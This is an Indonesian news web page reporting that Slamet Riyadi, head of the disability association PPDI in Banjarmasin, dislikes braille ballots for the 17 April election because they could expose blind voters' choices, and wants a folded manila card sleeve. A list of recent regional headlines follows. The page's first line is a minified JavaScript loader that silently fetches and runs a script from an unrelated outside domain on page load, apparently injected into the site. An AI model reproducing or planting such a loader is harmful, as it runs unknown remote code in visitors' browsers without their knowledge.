(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Ketua PPDI Banjarmasin Tidak Senang dengan Surat Suara Braille


BANJARMASIN, Hak politik difabel di Indonesia dilindungi oleh Pasal 13 huruf g Undang-Undang Nomor 8 Tahun 2016 tentang Penyandang Disabilitas. Aturan itu menegaskan kelompok difabel berhak memperoleh akses pada sarana dan prasarana penyelenggaraan pemilihan umum, pemilihan kepala daerah, bahkan pemilihan kepala desa.
Dipersipakan sebuah surat suara braille untuk pemilihan capres-cawapres dan DPD-RI bagi penyandang tunanetra di Pemilu 17 April nanti. Selain itu, untuk akses yang lebih mudah, para tunanetra juga akan diberi pendamping hingga memasuki bilik suara.

Meski tidak ada surat suara braille untuk DPR RI, DPRD provinsi dan DPRD kabupaten/kota, Ketua KPU Banjarmasin Khairunnizan memastikan netralitas penyelenggara pemungutan suara tetap terjamin. “Sebagai pendampingnya (kaum tunanetra) adalah orang kepercayaan yang dipilihnya sendiri. Apalagi, dalam setiap TPS juga ditempatkan pengawas pemilihan dan pengawas yang diterjunkan Bawaslu,” jelasnya.

Ketua Perkumpulan Penyandang Disabilitas Indonesia (PPDI) Banjarmasin, Slamet Riyadi mengatakan, justru pihaknya merasa tidak senang dengan adanya suara suara braile ini. Pihaknya justru ingin surat suara yang sama dengan surat suara yang biasa.
“Kalau memang braille, kami tidak senang, nanti ketahuan siapa yang memilih siapa,” jelas Slamet ketika dihubungi melalui via telepon.

Bisa saja jika ingin menggunakan braille pada surat suara, jelasnya. Namun ia meminta sebuah template tambahan berupa karton manila yang dilipat dua, sehingga nanti surat suara mereka bisa dimasukan di dalam karton tersebut dan pilihan mereka terjamin kerahasiaannya saat memilih.
Namun hingga saat ini pria yang juga merupakan salah satu relawan demokrasi untuk kaum difabel berencana untuk membahas hal ini lebih lanjut saat nanti jika ada agenda dengan KPU Kota Banjarmasin dan surat suara sudah mendarat di Banjarmasin. (mario)

Reporter:Mario
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.